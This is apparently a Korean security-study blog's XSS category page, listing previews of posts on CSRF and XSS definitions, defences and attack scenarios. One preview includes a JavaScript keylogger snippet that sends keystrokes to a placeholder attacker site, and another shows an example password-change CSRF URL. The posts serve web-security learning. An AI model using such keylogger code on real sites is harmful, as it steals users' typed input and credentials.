본문 바로가기

XSS

(7)
CSRF 대응방안 3가지 CSRF(Cross Site Request Forgery)란? : 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹 사이트에 요청하게 하는 공격이다. 1. CSRF 토큰 사용자가 보내는 요청 폼에 랜덤한 토큰을 삽입한다. 서버는 이 토큰을 세션이나 db에 저장해두고, 사용자가 폼을 제출할 때마다 서버는 저장된 토큰과 비교해서 일치하는 경우 요청을 처리한다. 하지만 xss 공격이 가능한 경우에 csrf 토큰을 탈취할 수 있다. 2. Referer Header 확인 Referer Header란 요청이 어디서 왔는지 확인하는 헤더다. 일반적인 상황에서 비밀번호 변경 요청은 마이페이지에서 일어나지만 csrf 공격이 발생한 경우 게시판에서 일어날 수 있다. 이렇게 뜬금없는 곳에서 발생하는 요청을 ..
CSRF란? (정의, 취약점, XSS와의 차이점) CSRF(Cross Site Request Forgery)란? : 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹 사이트에 요청하게 하는 공격이다. 이 공격도 sql injection과 xss와 마찬가지로 주요정보통신기반시설 기술적 취약점 분석·평가 방법 상세가이드에서 찾아볼 수 있다. CSRF 취약점 확인 CSRF는 임의의 요청을 하게 만드는 공격이므로 모든 요청에서 일어날 수 있다. 다만 요청 보내는 곳을 싹다 취약점으로 취급하지는 않는다. 주로 공격자가 요청을 임의로 만들 수 있고, 이것이 위험도가 크면 취약점으로 잡는다. 예를 들어 비밀번호 변경 요청 URL이 https://hackker.com/pwchange.php?newpw=1234&pw_conf=1234 의 형태로 파라미터..
12주차 수업 정리 (CSRF, XSS와 CSRF 차이, CSRF 취약점, 공격 예시) CSRF (Cross Site Request Forgery) 피해자가 서버로 임의의 요청을 하게 만드는 것 XSS vs CSRF XSS : 클라이언트 측 스크립트를 삽입하는 공격 CSRF : 피해자가 서버로 공격자의 의도가 담긴 요청을 하게 만드는 공격 보통 서치를 해보면 xss는 클라이언트 측 공격이고 csrf는 서버 측 공격이라고 설명하는 경우가 많은데 엄밀히 말하면 아님. 하지만 간혹 면접관분들이 이런 식으로 이해하고 있는 경우가 있으니 이렇게 얘기해도 되긴 함. CSRF가 XSS를 만나면 파급력이 커짐 CSRF를 설명할 때 XSS 형태로 보여주는 경우가 많은데, 이는 csrf가 xss를 만나면 파급력이 훨씬 커지기 때문임. 하지만 xss 형태 말고도 피해자에게 정보를 바꾸는 url (GET 방식)..
11주차 수업 정리 - 1 (XSS 공격 시나리오, XSS 대응 방안, 필터링은 대응방안이 아니다) XSS 공격 시나리오1. 쿠키 탈취 2. 악의적인 페이지로 리다이렉트 Reflected XSS 공격이 통하는 곳에서 3. 키로거 이용한 정보 탈취 el.addEventListener('keyup', () => { new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key); }); XSS 대응 방안 - HTML Entityxss 공격의 대응 방안인 HTML Entity와 관련해서는 아래 글에 작성해두었다.https://studysteadily.tistory.com/9 XSS(Cross Site Scripting) 공격이란? (종류, 방어기법)1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사..
[XSS] 키로거를 이용한 개인정보 탈취 (공격 실습) XSS 공격이란? XSS(Cross Site Scripting) 공격이란? (종류, 방어기법) 1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사용자 브라우저에 실행되면서 해킹하는 공격이다. SQL Injection과 함께 웹 취약점 중 가장 기초적 studysteadily.tistory.com XSS로 발생할 수 있는 피해는 다음과 같다. 사용자의 개인정보 탈취 Keylogger 형태의 스크립트를 사용하여 키보드 입력 값 탈취 사용자의 쿠키정보 탈취 Document.cookie를 사용하여 해당 사용자의 쿠키 값 탈취 피싱 사이트로 강제 이동 Location.href등을 사용하여 페이지 강제 이동 악성코드 다운로드 및 실행 악성코드 다운로드 링크로 ..
정적 페이지와 동적 페이지 정적 페이지 : 서버에 미리 저장된 파일(HTML, JavaScript, 이미지 등)이 그대로 전달되는 웹 페이지 - 서버에 저장된 데이터가 변경되지 않는 한 항상 같은 내용을 보게 됨 - 사용자가 URL을 통해 서버에 웹 페이지를 요청하였을 때, 서버 안에 이미 만들어져 있는 리소스 사용자에게 보여 - 웹 서버만 필요 동적 페이지 : 사용자와 상호작용 하여 전달받는 파라미터에 따라 다른 데이터를 출력하는 웹페이지를 말한다. - 사용자의 요청을 해석하여 데이터를 가공한 후 웹 페이지 생성 - 클라이언트가 URL을 통해 서버에 웹 페이지를 요청했을 때, 서버는 사용자에 맞는 HTML 문서를 생성하여 사용자에게 응답 - GET 방식을 사용하는 경우 동적 페이지 설정으로 분석 가능 - 웹 서버와 웹 애플리케이..
XSS(Cross Site Scripting) 공격이란? (종류, 방어기법, 공격 시나리오) 1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사용자 브라우저에 실행되면서 해킹하는 공격이다. SQL Injection과 함께 웹 취약점 중 가장 기초적인 취약점으로 알려져 있으며 공격 패턴이 다양하고 변화도 다양하게 이루어지기 때문에 파급효과가 무궁무진하다. 웹 취약점 진단의 기준이 되는 주요정보통신기반시설 기술적 취약점 분석 가이드에서도 크로스사이트 스크립팅을 찾아볼 수 있다. 2. XSS 공격 유형 1) Reflected XSS Reflected XSS는 스크립트가 포함된 공격용 악성 URL을 만든 뒤, 사용자가 해당 URL을 클릭했을 때 정보를 획득하는 공격이다. URL이 길면 클라이언트가 의구심을 가질 수 있기 때문에 URL 단축을 이용해..